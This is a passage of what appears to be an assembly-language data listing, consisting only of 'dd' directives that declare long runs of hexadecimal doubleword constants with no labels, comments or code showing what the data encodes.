0C1F8001Bh, 5EA05D59h, 0AD0FF5D5h, 0C0602B70h, 278F4087h dd 80BE002Ah, 21CB2C83h, 0D503A2E5h, 82D42FE0h, 0E9F80039h dd 0DD1B75EEh, 6600B8ADh, 9C67512Eh, 2B1965h, 0EACB8301h dd 844C54B9h, 0F0467000h, 49583176h, 0E4AB9834h, 0A357037Ch dd 760F9D8h, 0B425DCE8h, 9ED04C39h, 0FA0076C3h, 0B5685C32h dd 369C0318h, 474676Eh, 0BC90DBCAh, 0EB3B4113h, 72A90AB4h dd 1400B824h, 547D51FDh, 32D8005Eh, 749EFC50h, 2700BACDh dd 5D01457Ah, 0B6C2E5h, 6506AFEBh, 23CFFDECh, 0AD9340C0h dd 3E1AB875h, 60804121h, 70F55D5Eh, 0CF480FC0h, 0D0302E4h dd 80F04BACh, 45FD67BCh, 7AF407D1h, 0E6BC32Dh, 5FE7201h dd 2630B03Ah, 0EFBC664h, 0B7BBF42Dh, 8C5BBF00h, 1E0445ECh dd 976296AEh, 0D8E6D683h, 48CC4E61h, 9C1F348Bh, 2312C7C2h dd 0EEF8C095h, 0CB1C01D7h, 0E02681BCh, 6CC14203h, 0D122909Fh dd 0BA771CE1h, 0B2267E6Fh, 0FEB804C4h, 0D0C880D7h, 80A84F7Fh dd 0ED06FCD5h, 239D2FBFh, 922E3E48h, 0C2EB8780h, 49EAA2E3h dd 0C41BC804h, 0D1EAED46h, 30C39C16h, 0AE00A0B4h, 3F962F64h dd 0F5D240h, 2DC5F1B7h, 0DFE449CDh, 801B3D3Dh, 4B45320h dd 7335E1Ch, 0C2802517h, 0E3DFC14Ch, 0BD9892AEh, 80A1DC0Fh dd 12459E0Fh, 11BEA16h, 76DA40E7h, 302C5CEBh, 0E9775360h dd 89929801h, 25104534h, 26F69074h, 80B4443Eh, 682FCA22h dd 91E0DF4Fh, 0D0330D1Eh, 3CF5AC0h, 7A542Ah, 20ACCE7Fh dd 0C1CB170h, 0B09001F4h, 89A59B03h, 8836AF46h, 3E8A8FCh dd 9DEB086Eh, 0A0AF2610h, 3FBA9591h, 0BE19450Ch, 0ED80E0h dd 1B7EDB06h, 886848CCh, 0F0985100h, 0F153FCF5h, 0C3F2E3h dd 7458D717h, 432F48B4h, 0AEFB2B07h, 0E00C2ADAh, 0F3380B26h dd 7580D273h, 0C5F969BCh, 0FDBA5205h, 8D08068h, 1CF334h dd 3B3F29A6h, 959BCAF7h, 0DE149600h, 16AA0EFh, 85EC0045h dd 790261D7h, 2D9806DFh, 0ABF06500h, 0DBC115A1h, 0E44313D1h dd 74820C7h, 5A0195B8h, 17AF59B4h, 0D041ADE5h, 0B7043C5h dd 0D7B019h, 5AC35420h, 9D13B29Eh, 80E7223Ch, 0D7A22A17h dd 73BCEEF0h, 0F5E60018h, 4DA921C1h, 0FB3F5E8Eh, 3BE38287h dd 6043707Bh, 2455DFE4h, 63E84246h, 9EB911E8h, 65AC20B0h dd 70C2F300h, 0B2FFC67Dh, 35DC001Ah, 0A594D20h, 6C00A8B1h dd 30EAE436h, 81FFA4h, 2F0776C5h, 0DDB4BE0Dh, 50FA8505h dd 0C4D0BA11h, 37CB65h, 97F375D3h, 0BE09CAA7h, 829CB63Bh dd 7021D2E5h, 0DCFC8731h, 0A00B10C0h, 0F5DD0184h, 0E339FBE9h dd 0EBB2E09Dh, 0AEF1600h, 9133A7F6h, 945774B9h, 3E512D4h dd 0F54EDB68h, 1CE7A3C8h, 18B4A938h, 0DDB02873h, 2FF60058h dd 0A31E6C17h, 490912D5h, 247A42DCh, 0FC809668h, 0F3BF9DDh dd 3FC5C1B9h, 449A7880h, 38026DC6h, 0DA06094Ch, 0E174C032h dd 0A5B0529h, 835E262Ah, 63E87170h, 0B60092BEh, 7C6906B4h dd 0FAC2CA76h, 0B5092E17h, 0EEB8945Ch, 4C185E00h, 0AECDF95h dd 60F7023Dh, 0EAADC388h, 6F0700D6h, 33BD6A20h, 0A81E587Fh dd 0E2C0D027h, 0FBCF0B0Ch, 4940084h, 5AEFDAA5h, 240B0FDDh dd 80785595h, 0E7B38DE0h, 32520069h, 1DE1A948h, 4AE2204Bh dd 9D04BE00h, 9CC04FF8h, 30C3723Bh, 0A8D838FEh, 8D0A27D3h dd 0FBE59B1Eh, 8E150B00h, 3BB225h, 24B6673h, 6BE8D836h dd 51D4900h, 7BC64FD4h, 6550025h, 39F2C2B2h, 4300D295h dd 0FC9D873Ch, 70CD7C8Bh, 0F610033h, 9FA1E845h, 0F70070E6h dd 40A424EAh, 0C8E4F1h, 4C736D53h, 165E02BBh, 0BDFA3702h dd 40DB2563h, 7D1480h, 0F9552631h, 0F77F7E2Fh, 874A4200h dd 0E11AB3Ah, 0D2200E5h, 76DD778Eh, 0BA0A98E4h, 0E4C78533h dd 18F06598h, 972200C5h, 0C8CB447Bh, 905CD64Dh, 0DB097244h dd 25E5BE5Eh, 74C8C630h, 0C4B80070h, 0ABC09029h, 760009EEh dd 0BDC9F4F2h, 3C78A351h dd 0CE8073C8h, 6FF99568h, 0A7B831AAh, 99606607h, 6DE1B0BBh dd 12D8CB27h, 4E3900F3h, 0A4FE6A9h, 0D4005EFFh, 7A04B087h dd 64CFFCh, 0A333C53Fh, 0F56BAD16h, 39E03175h, 0FD2CAEF4h dd 600B29Fh, 4A09BCA3h, 0E8DE008Eh, 10E5F13Eh, 7400A623h dd 0AC44921Fh, 7C452h, 1EA4B83Fh, 0F7C53CCAh, 9E080E00h dd 547A55EBh, 33FD003Dh, 0B68B204h, 0A0004077h, 6B9679DEh dd 2CB1A92Fh, 0E88D84Fh, 6647EB2Dh, 813F1555h, 308D4063h dd 641DB84Eh, 7B80158Ch, 77D86FB2h, 0B473D7h, 21AADA2Ah dd 61E98DE7h, 80A3793Ah, 71910D60h, 0FC0987Ch, 2EF65E23h dd 40564207h, 40124A4Dh, 1C0EE4B8h, 29848FB3h, 0EFFCA07Fh dd 2E8EC443h, 8AFFBDh, 99A7768Ah, 8F0C5937h, 1007B950h dd 3A110005h, 40786DB5h, 0F8009127h, 0D773F0C6h, 5F1B813h dd 0C27D07B4h, 0DE85C0E9h, 0A706416Ch, 3B67409Eh, 2CF70184h dd 0CFEB9BEAh, 0E1BED0B0h, 137D7890h, 53168400h, 70C3E91h dd 29920052h, 0EC4DDAE6h, 483FBD40h, 0D488807Ah, 0ABFFA931h dd 1CCB3F54h, 97531187h, 4BCC8066h, 7500FE7Ah, 4E04580Eh dd 0F2471AB4h, 0F7D600A0h, 0EA4D8099h, 0C6000C38h, 170406B9h dd 1229A185h, 87B84662h, 0B1433394h, 1898A7C0h, 26ECBA58h dd 2B024FE5h, 0C2337BA0h, 124841B4h, 903BD0D3h, 0FDDC0779h dd 1F0F3F99h, 0D0DC1592h, 33842502h, 918013D6h, 44D96AA9h dd 0CDAC3400h, 413DE0CEh, 8AA20FF2h, 0C03C2961h, 0A3DEB7CBh dd 0E2022226h, 69E58DDDh, 45746032h, 546E000Dh, 6B2C7394h dd 0FB045178h, 918E29E5h, 0E3A9C0C0h, 1EC4EA5Fh, 87D9645Ah dd 0C42D85FDh, 0D728F0C3h, 0B27C4D00h, 0F18070D5h, 0FBA10528h dd 805AACDDh, 8F3338FCh, 37BE1100h, 70E4EE67h, 635F00A6h dd 4B106E9Bh, 3EECD935h, 2124A401h, 65F94A2Ah, 83F6C340h dd 0FF380F22h, 0BDA0F126h, 3EFCA2EBh, 0E786E000h, 0B18024BBh dd 0ABFB074Bh, 80780BB5h, 5A5E44C0h, 0FE999B07h, 13B0A039h dd 5C7582Bh, 0D7D66B26h, 2234917Eh, 86A10FDh, 1C98CBh dd 0E6C80D02h, 39898C9Fh, 1F6DD0A0h, 0D2F46F03h, 0E9706714h dd 2C282364h, 40BB4D13h, 0A836CD48h, 0A0755950h, 84E56200h dd 0D6E9E012h, 49882h, 0FE432EE3h, 7D9704D2h, 6700D9E8h dd 688D244Ah, 2539B5h, 8E07A427h, 0C615FC37h, 0B04F3C98h dd 4E21E002h, 8A54C04Dh, 105810B8h, 0C2670196h, 0AFD5F39Eh dd 7FC0A1C9h, 4E643332h, 0E5E85106h, 1F38EBBFh, 6878874Bh dd 0B791A219h, 0D9E8DB45h, 9B300E8Bh, 4476A613h, 0A94CA4h dd 9F59CFFFh, 0F9FE0279h, 1FBCD1ABh, 0A3F06440h, 80CDD43Ah dd 84305B5Ah, 7CFB0991h, 0B7EB073Fh, 71C70619h, 60DB2E14h dd 0B65CD560h, 189D09E9h, 0EA48E416h, 11DF001Dh, 59320EB7h dd 0B01F902h, 0D9EDEF57h, 0AD704AE2h, 58AA0043h, 416DE3FAh dd 0C90E1DA8h, 5303E5h, 146125BFh, 128C749Ch, 369A52h dd 1DB151C0h, 750085B6h, 39D7FFC1h, 0BEA8Fh, 0CB19F3E6h dd 7C50B2B3h, 0D82F1400h, 0AC1F29A5h, 0DC6617F6h, 8790006Ah dd 6136B7Dh, 0DFEC409Fh, 15B47525h, 0CCC9CC78h, 252B210h dd 1424AC0Eh, 57A301FBh, 0F07A71C5h, 1D01F501h, 88385FD3h dd 0CFECB0C7h, 0AFEB00ACh, 0A4742F5Ah, 0E5F4BA84h, 4EF3D00h dd 5CD835B4h, 126E00F7h, 92B2C9C6h, 0E100AE4Dh, 198028FDh dd 7E34420h, 701E070Bh, 0C921036Ah, 390620CFh, 1006128h dd 4B4D44FCh, 379AC71Bh, 30C0C0CCh, 4346D9Bh, 0A5EC80F7h dd 0FB6724Ch, 7EB7AD4h, 0E8733A0Ch, 0CC56F011h, 0D0F5B15h dd 630A2E50h, 8B94BA88h, 1C117BD0h, 0FE0B3A92h, 0A883CB07h dd 8D85C263h, 53378483h, 0C3121AE0h, 5A498201h, 2FDD4C89h dd 0F2095C38h, 60608575h, 683FB17Eh, 58670471h, 9C804D16h dd 0E02219AFh, 0AD0100E5h, 0BFB430FCh, 76002ED7h, 0A78287A5h dd 719E2DB6h, 27D50E07h, 8DC0094Dh, 0E145DB88h, 5340E03h dd 0BF9060F5h, 0B6046C90h, 9E260032h, 9F54DD22h, 153D11C0h dd 0C3888023h, 97FD5CE3h, 3E9500AEh, 49BD9044h, 3C035D1Bh dd 0D04FC7ABh, 0A7E00FFFh, 0BE0DE83h, 4061146Bh, 24733F00h dd 10A4F38Ch, 0FFB80336h, 880B5FDBh, 0F900A0B5h, 1883E11Eh dd 70CC1940h, 0E6E652DBh, 667614F5h, 0B100F44Ch, 4A208C3Ch dd 569813B5h, 9AC15215h, 90E502ACh, 703FECFCh, 58C004E0h dd 80F1A62Ch, 90888285h, 0D05E49h, 8ADD27E9h, 9E1630h dd 1245CCEAh, 35A342BFh, 0FE001190h, 0D2938A79h, 0F6158E4Eh dd 4BF900E8h, 54100489h, 3007EE24h, 0F5E5958h, 0E2FFB3B0h dd 0B7104DEh, 0C0F026BBh, 0FBB06A94h, 4FCC9D0Fh, 0D6AC40D9h dd 1DDB670h, 9373792Ah, 0BB928481h, 3AA680C0h, 701F6187h dd 28A2005Ah, 0DDB1ACFh, 1E00F420h, 0E83C5B3Dh, 57E4BEh dd 6B3F250Ah, 0A577404Ch, 0CC89FB0Fh, 37C940E1h, 9242C35Eh dd 9B6D0290h, 571D6110h, 840050D8h, 1FE3A8B2h, 7F67B6EBh dd 0C44A05FDh, 80EFBFDFh, 0FA49D1EDh, 0E530F865h, 89645880h dd 0EB77589Ch, 0D1E6CC00h, 0BA5CFABFh, 3DC75100h, 54646006h dd 1C280AB3h, 832FB6h, 71DFFF27h, 50F06172h, 750E4498h dd 4B07590Dh, 8A9D87B0h, 21A9DB90h, 0ED8C0042h, 1AFEEF9Eh dd 681E51D0h, 2A87A227h, 1830A4E5h, 7D82F2AAh, 0B43F03C1h dd 34334C52h, 28BB1BDBh, 0C8C981AAh, 8BD8F4E7h, 0A70E1400h dd 8235112Ch, 0D91D0F48h, 5200FA5Bh, 0DFA553CAh, 0A9E56300h dd 0AAE419Bh, 35FD0062h, 9F76C554h, 5700A0B3h, 829775E7h dd 903614C3h, 517E0760h, 3025EACFh, 0CA429E0h, 5CC76D0Eh dd 0D517C0B0h, 0D87A3Bh, 89843663h, 560C420Bh, 8005499h dd 27733374h, 0C490C4h, 91DB358Fh, 1C5694D5h, 302C0B0h dd 0E4D3CB02h, 6974E0BFh, 0F45E00C1h, 0BBB96838h, 16003C1Fh dd 0C03E6B4Ah, 9018EED6h, 8780026Bh, 7FCC4F37h, 64087761h dd 66009ED0h, 0B92C2F0Bh, 0F86D03h, 0DE7F63Bh, 0FB26EE06h dd 73709CB6h, 93812C38h, 395200C4h, 16DE9B33h, 0D290A00h dd 0C432627Eh, 75CA16FEh, 5790C11Ch, 24C21021h, 9CACF6EFh dd 0FCB00034h, 4BD72D37h, 4609EE07h, 0A3D75217h, 3083B604h dd 93FBB07Bh, 89BA049Bh, 0C0C8556Bh, 1E8D1988h, 7249CF00h dd 8E6ECB68h, 26CC01B5h, 0CD2E41B6h, 8B3E7066h, 6C906078h dd 7C8ACF00h, 8D466ABBh, 4FC31CBAh, 2B43C266h, 0A86090E3h dd 25007084h, 0EEA75682h, 2CC8CDD1h, 3CF5D2h, 120F2E3Bh dd 1C008F4Dh, 9B8771A1h, 0C610F8h, 7AABEFB5h, 0DD46EC64h dd 0BA441507h, 31C0C336h, 7B5B648h, 46B5BB2h, 86E40137h dd 29C440D5h, 73004894h, 0A597AB7Ch, 0C216B8h, 7627F6F9h dd 75794BD1h, 4AE60E04h, 0D031DAh, 1C3259D3h, 0AD91FA8Ah dd 0B0555CA0h, 1F002EDFh, 0AE3BE58Eh, 0E224DBh, 0C04CEFA7h dd 82B53ABFh, 0E7C0409h, 0B9A08050h, 1314907h, 0D0B470BAh dd 6428D73Eh, 93090240h, 2760326Fh, 8221F200h, 0E2F620h dd 77436405h, 1295E11Fh, 0CA1C800h, 2F59D0h, 91332D02h dd 3F6D80A2h, 83E24513h, 0C9E8D044h, 25CBCC88h, 0C009840h dd 14F99AFCh, 0C8F6A01Ch, 9880C217h, 1D512E97h, 802B047Dh dd 50C1433h, 7F243147h, 73002459h, 0BF7917DCh, 0BE8800D3h dd 0CE1BC0BBh, 0EA0082E4h, 0B19D3E84h, 6F0A7Eh, 0C1A7397Ah dd 51796449h, 9960E716h dd 979BD300h, 1B06E5h, 0BC03E92Ch, 0AACFA596h, 75C67B00h dd 7E378354h, 3FC42EAFh, 71E48098h, 2197C093h, 0D120379h dd 0A4805305h, 1C5E0227h, 80909533h, 0F3B3C6E6h, 727E0EA7h dd 39029177h, 8ADC587Fh, 0D9304008h, 4C8F363h, 0AC090198h dd 0D35AF34Dh, 0F74ACC1Dh, 0E4319D26h, 0FBC8039h, 0B6453B2Ch dd 64970065h, 146F81CCh, 950EE43Ah, 0A40376E1h, 64ACA4DCh dd 93C682C1h, 8EDC8906h, 0D96E803Ah, 0C3E7DAA3h, 73082092h dd 98E027FAh, 9900EF4Dh, 0F23060D8h, 4E5E1B7h, 0A81393E7h dd 912C022Bh, 0EC7660DDh, 2D4F001Bh, 0CF336E7Dh, 961DE1A8h dd 2642826Ah, 68ED05B1h, 9E0D314h, 36CFBFFAh, 32778C80h dd 2E1375A0h, 6F0E7885h, 0E6005CFEh, 9F240E95h, 0B0A039BCh dd 0D8A63800h, 1FEA67D9h, 5A021200h, 0ACC98127h, 0A69150E6h dd 22C61D62h, 0C41CD580h, 0C9023538h, 0FA0B67A5h, 0C6EC0FC0h dd 583B4F00h, 9E1421B3h, 19911E83h, 0BDDAC765h, 0A0BE6734h dd 96EDE492h, 5DB42201h, 1B859FE6h, 2DECBC70h, 0F4805054h dd 0D05C0D49h, 1129920Fh, 0EA0E6FFBh, 96701055h, 4254E891h dd 390F0047h, 3E4031B0h, 5131EB8h, 20C80F21h, 0D08C0050h dd 110F1EDAh, 0E8E0F8B3h, 4D18C0D3h, 73D33FDh, 948D760h dd 70690B3h, 89135CBAh, 0BF72004Ch, 1E5462D2h, 0F0004A88h dd 219CFD11h, 5ACD31h, 0B2DF4589h, 358CB96Dh, 4A07AE1Fh dd 929B5180h, 85E8BCh, 37C83470h, 6C695CABh, 0DA0E9800h dd 66BEA9EAh, 8F400E0h, 0B4B60CE8h, 2800F1B1h, 50FA78DCh dd 7E051D2h, 3DC0A607h, 2584E04Bh, 6031598h, 0BE81E6EBh dd 0CCC0951Ah, 7DE76F2h, 24AADAD4h, 7C1780A4h, 0A61D2216h dd 837CCEBBh, 6115B4D2h, 241AC091h, 0EBAC0031h, 0C9FDA97Fh dd 2589BE9h, 0C5007AC8h, 0D4DA3416h, 85E5D1h, 0A2522677h dd 4E81C1Fh, 0AA2BB51Dh, 48085DC0h, 40B399h, 0C68A1D76h dd 1AA694A1h, 0E9A280Ah, 0AA02CC2Ch, 68B3E44Dh, 7EC4964h dd 0EE26AE5h, 171DB1F1h, 0F40898F0h, 7BFC4C21h, 7DCF056Ah dd 4D671h, 37902A8Fh, 0D91DCE76h, 18C0A39Ch, 96220515h dd 2E5001B8h, 0B0D621F9h, 5E498084h, 45757D42h, 0FC8FE297h dd 10E820B6h, 8B3BAC00h, 0F468554Dh, 3D1C03FCh, 7D44B620h dd 18D1204Bh, 382292AFh, 9F3CAC00h, 814CB774h, 70C0B3B8h dd 0BB1110A6h, 0F2967C2Dh, 18EC63EEh, 39008EB1h, 0BA136220h dd 0F532AF4h, 816E5AB7h, 0CCF0E6C1h, 8230242Fh, 0D8E75B00h dd 1250D729h, 0F2A307F5h, 3075438Eh, 0C5300E02h, 8B31FE18h dd 0C3C63668h, 0C058CD81h, 0A6C003C2h, 4E00314Dh, 455163A5h dd 46AD5Ah, 171BCB90h, 0C87F7E3Dh, 0F41BB3Eh, 85C387ECh dd 83B1B2h, 11DEA085h, 186F00E4h, 7364163Fh, 75660F24h dd 1F21EB08h, 0EE18664Ah, 0E1003CAAh, 3AD82DA4h, 5D07FB78h dd 0DCA585EDh, 330BD26h, 0A76683CFh, 10588425h, 80F43E01h dd 0D395A199h, 0E8945990h, 0D021C034h, 89D2F4BEh, 82428C0Ch dd 101FB028h, 669B9498h, 46B81129h, 1872028Dh, 315C1630h dd 65531090h, 9A520018h, 19E3FD80h, 0C3065076h, 2285051Dh dd 16200268h, 11AAD9BEh, 0CDC07E05h, 7CA4673h, 0DA59B5F8h dd 21C346F7h, 0C4E89C00h, 8D7B3D6Dh, 0CD610F78h, 994651A1h dd 0AE077998h, 0E31C1936h, 808F0740h, 306A38F8h, 613E2A9Eh dd 419FBA11h, 0EA466FC4h, 88F50CF7h, 0C401F498h, 0A5E135ACh dd 14300F64h, 0CCE40109h, 394CD083h, 0AEC441FEh, 8DADCCC5h dd 0A916A12Eh, 7D233300h, 385479F1h, 0AC000A7Ah, 0D8A10D1Fh dd 22F83803h, 98649A00h, 6A49BE9Fh, 0B21E0067h, 0BA2AF392h dd 0F10089A6h, 39DD1147h, 70C2EF38h, 96260012h, 782737Ah dd 9800FB40h, 6D493051h, 0D45866h, 966133A6h, 95280D46h dd 0C2EB126h, 5B00541Ch, 1407CBF9h, 410D1B6h, 0A2659C3h dd 416D1000h, 5E6AF9Fh, 29DB1DDFh, 681140C9h, 4C954D71h dd 0C23E4200h, 0CEA8A537h, 0EA210031h, 0D97E8280h, 0B670F51Eh dd 836E409h, 88CB009Dh, 7E2C40ECh, 6A29007Ch, 160C8644h dd 5F007179h, 0ECCD74A3h, 0BBB132h, 73D6A613h, 669F33E7h dd 932F6300h, 2CF924C4h, 35BE007Ah, 0FF8ACE58h, 0A50019B2h dd 0F6281CCAh, 936A77h, 4238BE62h, 1731C0AAh, 94696800h dd 60BB7279h, 0FE6B0076h, 123BA525h, 50FC1727h, 0BC3D6500h dd 6DB0FD55h, 6BE74E8h, 0C592C08Dh, 3F07781Ah, 47446F74h dd 9E0180DBh, 0F890DCh, 39170A0Dh, 7BF16983h, 6DE59F00h dd 62EFA4BAh, 33A70016h, 0DADBE825h, 5008595h, 4C0A38DEh dd 4570ADh, 0C56F6898h, 1D43069Ah, 6DE72E00h, 2F77A2DFh dd 5BCA0058h, 6C619950h, 34548556h, 4A0078D8h, 0C6581014h dd 6A5A07h, 4F8D6716h, 0A0B87F31h, 2B3B40C0h, 4BE5C33h dd 64566D63h, 40DD4014h, 0A41D9Fh, 97F2E406h, 0C8B93EF7h dd 8A0D9300h, 2AE2863Ch, 2F6604B6h, 0C0C7271Eh, 2899D9EBh dd 2DB14A01h, 0E198E36Eh, 13CBCCh, 6567C410h, 0DC9770D0h dd 0CF044848h, 6AC360F6h, 9858620h, 412F88EEh, 5A81180h dd 5800812Bh, 0F1B435ECh, 1DB94C03h, 9D420E3Ah, 2F1B80C0h dd 6B048C96h, 5B80E61Fh, 83729DFBh, 70F9F745h, 0C52480BEh dd 2B00C8CDh, 975EB2EBh, 1CC40C9Eh, 473E5946h, 0D1507E34h dd 42FDD114h, 0FA81D5B8h, 0D820B548h, 4600F8D3h, 70B65081h dd 0B8FE7CB8h, 429C8213h, 36A4A7A3h, 72B93Ch, 0BEB4E9E5h dd 7C26BD0Dh, 6D5B5C05h, 0F180FC1Ch, 358760h, 656CF369h dd 0D326D807h, 8F5C087Bh, 0BF6F007Fh, 4B49561Ah, 3C79F645h dd 0E380F018h, 2A518BFBh, 0A812B23Ch, 0DE001D91h, 9F2D6DFAh dd 13A2815h, 9B6600E4h, 685AB88Ah, 0E7026BE4h, 4DFAFB27h dd 7E9140CCh, 0D808039Eh, 287F6C38h, 0DCF7618Fh, 0A76DD88Ch dd 0F30D96C2h, 654E08Ah, 11EF441h, 33A47E4Ch, 0D45384BDh dd 70076D5Eh, 9B9D3FAAh, 0D4C9A030h, 212A0562h, 80BF57F7h dd 4F5B7105h, 0C3F5B100h, 61683844h, 7233DABh, 0D90330CDh dd 77C07CFEh, 0CBE92840h, 0F3FB8C00h, 5A825759h, 842803A1h dd 4CDF006h, 946E50EFh, 3C4CBC01h, 0B78008Eh, 0D7832F2Eh dd 311E00D6h, 35F4FE58h, 9328A2B0h, 5A009C03h, 9B4B1F24h dd 4C652664h, 31068A63h, 9EFD7C0Bh, 330016EEh, 0CA364395h dd 0F8CE85D7h, 0BD503DDh, 91F45F12h, 55D40B0h, 88818E03h dd 0D0CDB0B8h, 453B61h, 7669552Ch, 1D7CDF1Ch, 2428E650h dd 5F971500h, 9F300AB8h, 4DCE00E9h, 468122E3h, 0BC000BA5h dd 0DF53BB24h, 2E637764h, 39CCA2h, 0BD35D54Fh, 1C00C212h dd 75ED5796h, 0C09452E0h, 261BAE50h, 0E011FCBh, 0BCD9F53Fh dd 33CCAAB1h, 9171007Ah, 0C1462B0Dh, 0B4F4F227h, 3E26603h dd 0C7904356h, 0B5530960h, 0AE590C70h, 5C83A11h, 67C03812h dd 15EAEA05h, 4F1B6800h, 121A6ADh, 395E6101h, 246B429Dh dd 0F707483Ch, 3F8F6873h, 3236AAA0h, 0F2B13870h, 0B71CA800h dd 4475F062h, 0B5DA2E14h, 0F31150A0h, 4A559200h, 0E1F419C8h dd 0A2910035h, 0FF7C0E46h, 83F8160h, 9A7A9852h, 7178810h dd 0CD73122Fh, 8515D0h, 10AF4A0h, 920F5E3Ah, 41D77670h dd 0FFE3FB9Bh, 2E03F7C4h, 4EAB46Fh, 93596E4Dh, 0FE9957DCh dd 45523019h, 0D67C4800h, 652523E9h, 0DA260912h, 4000C6E3h dd 0FBBA2086h, 10733B0h dd 9345410Bh, 4FE06877h, 0AF607Ah, 0B2DB4DD3h, 2FE0D2A9h dd 74616B3Eh, 0B1BB9F02h, 6015787Ah, 0FA99B4h, 0C2514C9Ah dd 0A6256462h, 84311D01h, 517CF5Dh, 0FCFA5330h, 2CBA0085h dd 4B749C36h, 0E001311h, 0F937197Fh, 18ABF540h, 18163F7Ah dd 0D50079D3h, 527F8832h, 0FEC5303Dh, 1FB90718h, 20F95038h dd 544642Ch, 0ECE1BC26h, 0AB261680h, 30DE8241h, 0EE70846Bh dd 3A004CCBh, 0D84B72CCh, 0BE307Eh, 6BF5FDE0h, 0D2AA01FAh dd 0AD08BC00h, 0D17A48A0h, 0BA5900D9h, 8B05BEEEh, 4200D014h dd 0BD5AC31Dh, 29CA37h, 0DAE46E10h, 1248B263h, 4E491E00h dd 0B0D26299h, 40460029h, 329BFBE5h, 8781244h, 0EF24C679h dd 6C802CF4h, 0B8ABBB27h, 5993002Ch, 96488E2Bh, 6A00A91Ch dd 0A5440D01h, 2C222Fh, 16B8C3B5h, 1CB975E0h, 1F31C15Ch dd 5E824F7Fh, 600B6864h, 3E65DFB4h, 3280C8C7h, 0F0F28BC6h dd 25061D5Ah, 8A093457h, 3059001Ch, 3396B06Ah, 0DE00AF24h dd 0B34F85B4h, 3D421F3Ch, 3F001CC7h, 0AE8FBB28h, 98009FF7h dd 0E6D2EBBFh, 838C2Dh, 0C3790E0Dh, 0FD229B68h, 99737775h dd 0BD098618h, 380FC48h, 4C39D39Dh, 41017B24h, 0B967EE2Eh dd 72D4D932h, 80E400C0h, 1953AB5Eh, 3B1C819Ah, 0BDC00985h dd 67EB5210h, 0AC383B41h, 9EECEA2Ch, 0F73B83F0h, 0DCF86A22h dd 0D302107Dh, 0F50304A9h, 5118407Bh, 0ACFB1345h, 8B5C0756h dd 47C6E011h, 6F03CF39h, 0BC9F2937h, 0CD4E8E5h, 0FC3B48ABh dd 0E4E4FC7Fh, 4ADF1865h, 62957111h, 4988A80Eh, 6F821E27h dd 8147DF50h, 0A8599710h, 3F291C34h, 26B1F0F5h, 8FC9DB08h dd 9DFD2719h, 0AC53C40h, 1BF6A9Fh, 0C60D6C97h, 0E0254D19h dd 0DD6115BDh, 5E73628h, 30A86474h, 6F68047Bh, 93184856h dd 329B9AAh, 10211627h, 45404ABAh, 20059044h, 271503DCh dd 0A985942Bh, 0C1D52124h, 7135627h, 30DD58B8h, 33F0B09Ch dd 7E0043ECh, 0E34716FCh, 9F6BB420h, 0B7004DF8h, 3A7776EAh dd 135A1929h, 0D06960h, 4B91A458h, 9205C067h, 2E38211Ah dd 49EA8BC0h, 0F8CC00FAh, 485D59E3h, 0BA0F7127h, 97B34B6Eh dd 1F76FE00h, 9814AE5Eh, 0F904607Eh, 3686B9E0h, 1A198E0Eh dd 25D1C7A8h, 3D21FB46h, 300A1CBh, 88399176h, 0DF00DCABh dd 19688969h, 516F50Ah, 8CB653ECh, 64905E44h, 38B300C7h dd 3110E537h, 31E4673Ah, 2A04211Fh, 7A9E60h, 57C83277h dd 0C5622C7Ch, 0E0EC1E00h, 0A88AE945h, 0A7807BBh, 53D1E4h dd 2933B602h, 74005091h, 6FC294D2h, 44707EEh, 44480797h dd 0D3D4D0FCh, 27009514h, 0FE2EC340h, 6CCE3A51h, 0B68960EBh dd 0E9C34898h, 0F89BC58Bh, 73455A38h, 111C3027h, 93B2BD80h dd 57E17215h, 10823A0h, 8E3786BEh, 0CA1E0E01h, 0F26783A6h dd 90B459EEh, 0D5FA8D0Ch, 520BBA00h, 21B949D9h, 0E9AC007Ch dd 33CA99AAh, 89C4E0E4h, 8010B0C0h, 0C7AA106h, 6D031041h dd 5A1589F2h, 0CCFB901Bh, 209913BFh, 0C0511D90h, 0CDFF91B4h dd 0D5000518h, 0ED448707h, 0A2D3C0h, 1F5B414Ah, 8BEED8A6h dd 13989400h, 0B5C4287Ch, 0C0960009h, 5BAF1D7Eh, 0D500FBC1h dd 0EFEB9A18h, 7717E692h, 0BB660054h, 3D2C9F3h, 0C124EE70h dd 350003F0h, 0B2D80936h, 0E43F0004h, 9C92C4D2h, 0CA001EA3h dd 0F3FD87EEh, 9FB481h, 20A9AD7Fh, 0A86B5122h, 31FAEB07h dd 7D70F946h, 0B73615h, 2F74AEDDh, 2169E1FFh, 90F7EA07h dd 917114E7h, 0F1FCFD89h, 7B9501F9h, 0ED029473h, 0EA4AF0BDh dd 0FF2DDA00h, 0CA330CA0h, 0D8A70148h, 18BDBBA4h, 32A6C87Fh dd 126CFD0Ah, 9501D0DDh, 9CB02493h, 96B1588Ch, 1E7F6C08h dd 0A2D45F00h, 6E3570BEh, 3CB20FE3h, 51002D99h, 0DCCA34BFh dd 495E0F00h, 0E39C0462h, 633D0C3Eh, 0CFA95B14h, 7CF07901h dd 6156E557h, 90D799D0h, 3AF10001h, 88827AC3h, 31C76DCAh dd 808D1267h, 150EE0h, 0A9C1B1BFh, 5FAB03CCh, 0A15AF30Ch dd 892076h, 64490B6Fh, 54E343F0h, 7A998A0Eh, 0DC50050h dd 3014CA8Fh, 0A7A16EE8h, 56083E43h, 80BC1567h, 227EC98Bh dd 1F3D733Ah, 3FD1BB0Fh, 6869977Ch, 0D513A303h, 9401BD17h dd 86CEEC05h, 30B391E8h, 57894BA6h, 4E98D4D7h, 8EEBD918h dd 607888C1h, 19C2696Ah, 0C6FC1496h, 0D81D10C0h, 3DC41Eh dd 0E1FC3E08h, 8CC0391Ch, 90727300h, 52F7A05Eh, 0D20F00D1h dd 0A693B077h, 0C63D55BFh, 24250098h, 72F1671Bh, 9DB1718h dd 36C60061h, 0E85FFA14h, 967EE9FEh, 0BFC66200h, 0E2A1E3B2h dd 4411CAB8h, 3F0F7C04h, 80450B4Eh, 0EAF5EFDAh, 23290087h dd 6B64C94Ah, 5F001099h, 8339DBADh, 9D3015h, 0E1468709h dd 2BAFCCEEh, 41343600h, 2CBE7E72h, 26847E9Eh, 63AA35h dd 4BB02E60h, 76006D74h, 2445E89Dh, 112CB2h, 0E61FC953h dd 19D8CE44h, 0E92A3300h, 13D19F4Dh, 8AE10070h, 6CF7F412h dd 5000B984h, 386AEDD2h, 629861h, 2794539Ah, 0BF3242D7h dd 117F7B0Eh, 0D4D8A009h, 0C94EDBh, 0EF0CF912h, 469489E6h dd 0DFB1BB1Dh, 0BDF81980h, 0FBC24Dh, 